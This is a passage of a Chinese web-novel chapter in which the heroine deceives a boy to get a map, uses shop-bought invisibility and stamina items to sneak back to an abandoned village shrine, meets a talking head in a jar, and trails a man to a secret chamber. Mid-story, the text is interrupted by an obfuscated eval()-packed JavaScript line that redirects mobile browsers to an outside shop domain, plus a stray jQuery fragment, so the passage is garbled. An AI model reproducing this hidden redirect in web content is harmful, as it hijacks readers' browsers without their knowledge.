“不行不行!你不能上山!”阿氏头摇得像拨浪鼓,说什么也不肯松口。
“……”柚绮无辜道,“可是我种的东西还在山上,我想挪下来,你看啊,现在食物那么珍贵,要是就这么不要了,之后得少卖多少钱呢。”
阿氏狐疑道:“你不是要去看祠堂吗?”
“哎呀,我哪有那个胆子。”柚绮接着忽悠,“而且我只是想先问问,现在这样也上不了山,不用担心。”
“……这个我得跟赵哥哥商量一下,还有姨,她下午要去看病,等她好些……”
“……”怎么突然这么精?!
“你赵哥哥也要去镇上买东西,今天估计都不在,你先告诉我,反正这两天我也下不了床。”柚绮故意哎哟一声,捂着伤口眯眼偷看他的反应。
阿氏本就愧疚,听见她痛呼,顿时手忙脚乱地想帮忙,一双手上下挥舞,找不到落处。
“我……”
柚绮失望地别过头,推开他伸过来的手:“弟弟真狠心,也不安慰安慰我,罢了,我不问了,你走吧。”
阿氏到底年纪小,几番话下来直接被带偏了,心道在赵哥哥回来前她确实还没自由行动的能力,便一咬牙:“好!我告诉你,但你不许擅自上山,搬种子也要等赵哥哥同意!”
“好。”柚绮笑起来,让阿氏去后院拿根没烧完的柴,在破布上画出大致的路线图,随后便以休息为借口支开了他。
“记得你答应我的。”阿氏走前不放心地提醒道。
“知道。”柚绮点头,心里叹着无奈,她还刚答应赵祭不乱走呢,仔细一想,自从她来到这儿,没有哪次的承诺是真的做到了的。
她点开商城,翻来覆去最后看中了一件可以隐身的斗篷和一瓶激发身体潜力的药。
[时隐蓬:披在身上可以隐藏行踪,使用时间为一小时,收纳在系统中时不计。
价格:50积分。
借生灵:挪用全盛时身体的五小时精力,同时提高用药者各项数值,包括但不限于速度、反应、力量,时效五小时。
价格:100积分。]
“……我怎么一直在贷款做任务……”
柚绮心如刀割,滴着血忍痛赊账。
【购买成功,积分余额-1210。】
她不确定赵祭出门的时间,只知道是下午,便将东西暂时收进系统,盯着天花板听外面的声音。
不知过了多久,屋外始终静得落针可闻,和昨天众人行色匆匆的场景截然不同,而太阳终于过了正中的角度,刘嫂端来午饭,见人睡着了,便放在一旁悄声离开。
门刚关上,柚绮一掀被子坐起来,喝下药后到窗子观察良久,周围的人基本上都搬走了,赵祭和刘嫂下午都不在,刘哥和阿氏毕竟都是男人,也不会总往这儿跑。
院子一个人影都没有。
柚绮放心了,塞了些东西进被子制造有人的假象,披上斗篷带着路线图就从窗子翻了出去,一路畅通无阻。
七绕八拐后终于看不见山脚的住户了,怕斗篷不够用,她将其收进系统,展开破布查看路线。
“啧,不看不知道,这画的什么……”柚绮将布一百八十度旋转,艰难地辨认方向,走错了好几次,好在下山时总有些特殊的景物标志,虽说浪费了一些时间,但凭着药力也成功在两个小时之内到了村子。
这里从搬空到现在也不过一天,看不出多少破败,只是一眼望不到头的山路和风吹沙响的凄凉赋予了这里不属于活人的沉寂。
柚绮马不停蹄地赶往祠堂,走过一次的路没了之前的坎坷,她远远地便看见了祠堂一角,脚步越发急切。
檐下风铎碎响,逐渐清晰。
“你在这儿做什么?”
猝不及防的沙哑嗓音叫住了她。
柚绮还沉浸在靠近真相的喜悦中,猛然被这句话被拉回现实,错愕之余似被雷劈中了,停步的同时浑身僵硬起来。
这里居然还有人?!
她没动。
“我问,你来这儿做什么?”那个声音又问了一遍。
无法再视而不见,柚绮憋着一口气转身,看清谁在说话后本就病态面相再次失去本就不多的血色,在阳光下白得像透明的纸糊。
她连连后退,大脑叫嚣着快逃,腿却不受控制地扎在方寸之地,视线也不曾离开那个长着人头的罐子。
她太震惊了,只顾盯着院子台阶上那张长满皱纹的苍老脸庞看,一个字也说不出来。
人头下方的罐子并不大,只有头的两倍,站远了看里面漆黑一片,要说里面装了个成人的身体谁也不信。
人头似乎已经习惯了这样的反应和眼光,它张了张埋在胡须里的嘴,还是不急不缓的:“小丫头,你不该来这里。”
“我、我……”柚绮终于接受了它还活着的事实,舌头像打了结,结巴了好几下才答道,“我也是村子的人,回、回来找东西,请问……您、您是?”
“找东西?”人头努力地往前伸了伸,但效果不佳,便道,“你过来。”
过哪儿?!!
柚绮不敢动,但又怕不听话激怒它,脚下蜗牛爬似的一寸一寸靠近,半天也没走出那条路。
“……”人头眼神复杂地长叹道,“罢了罢了,你就在那儿吧——找什么,跟老夫我说说。”
“找、找我落在这里的农种。”她当然不能说实话,但也不能只撒谎,又怕露馅,便马上反问道,“您也是村里的吗?怎么没跟大家一起下山?”
“下山?哈哈哈——”像听到了什么笑话,人头大笑道,“丫头你看我这样,能活着就不错了,下山拖累人做什么?”
“可是你一个人……”柚绮欲言又止,很难想象这个状态一个人在山上怎么活。
看出了她的想法,人头悠哉悠哉地晃着,像学堂里吟诗作对的先生:“没人管我确实活不长,不过我倒也活够了,就是无聊得紧,刚好你回来了,不急的话陪我说说话?”
“我……”我急。
柚绮很想直接拒绝,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232425|151350||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现在的场景太让她不知所措,脑子卡碟般停止了思考,最后呆呆地指着祠堂的方向道:“我先去找东西,找完再……”
“那里是……”人头顺着她的手指看过去,脸色骤变,青一阵白一阵,“……那是个不祥之地,丫头,慎重。”
柚绮的此番目的便是那里,来都来了,不可能就此返回,敷衍地应下后一溜烟就跑没了影儿。
她还没完全消化刚才看到的东西,但也曾听说过类似的残忍刑法——人彘。
看起来差不多,但她总觉得有哪儿不对,而且这么大的事之前怎么没一个人提起,就因为她不受信任?
思索间祠堂近在眼前,柚绮深吸口气,一鼓作气上前查看门锁,发现竟是打开的,一推便动。
堂内昏暗,门缝透进一束白花花的光,尽头落在空荡荡的供奉桌上,将里面的空间分成了两块。
她大敞开门,将里面的东西照得一清二楚,人是依赖光明的生物,过度的黑暗总会激发骨子里的恐惧,唯有这样才好受些。
柚绮不知道之前那具尸体放在何处,只得一处一处地找,正堂没有可疑的地方,她从侧边的门出去,那里连着西厢房。
她在各个厅房逛了一圈,连较为隐蔽的角落都翻了一遍,还是什么都没有,不禁疑惑起来,难道说这次偷尸体的人什么都没留下?
线索断了,柚绮对这里没多少好感,反而越待越心慌,确定了明面上看不出什么后,她原路返回,关上祠堂的前门,和来时没两样。
“白跑一趟,除了字,其它收获也没有……”柚绮刚想走,右后方不远处突然咔嚓一声,像谁踩断了枯枝。
来不及走,她迅速取出斗篷披上,整个人凭空消失,下一秒,一个衣着普通的乡下农户从小路转了出来,左右看看后推开了祠堂的门,进去后又反手关上,做贼般小心翼翼。
“这是谁?居然不止我一个……”柚绮看他有些眼熟,但想不起来,应当是见过的人,不过村里的她都不是很熟就是了。
她抬头看看天色,将自己裹紧了些,放轻脚步绕了一圈,从旁边没关的小门走了进去,不多时便找到了那人。
男人十分警惕,每走两步便要四处查看一下,柚绮跟在他身后,好几次都差点撞上,险险避过,总算是一路跟到了一面墙前。
男人在墙上到处摸,拍了几下后趴下身去拉柜子脚,柚绮见他不知从哪儿掏出个钩爪,从空无一物的墙上钩出一根细如发丝的铁丝。
随后一拉,墙嘭地一声,出现了一条裂缝。
暗室?
柚绮顿悟,心道藏这么隐秘,外人还真找不到。
男人推开石墙,刚进去一只脚,突然又收回来,猛地一转身,柚绮没想到他会突然回头,躲得急,左手撞在柜子上,发出清脆的响声。
“谁?!”男人如惊弓之鸟,立马疯狂翻找起来。
怕真撞上,柚绮连忙后退,没注意到凹凸不平的地面上悬着一把椅子,后脚跟一踹,又是一声脆响,椅子砰地倒地。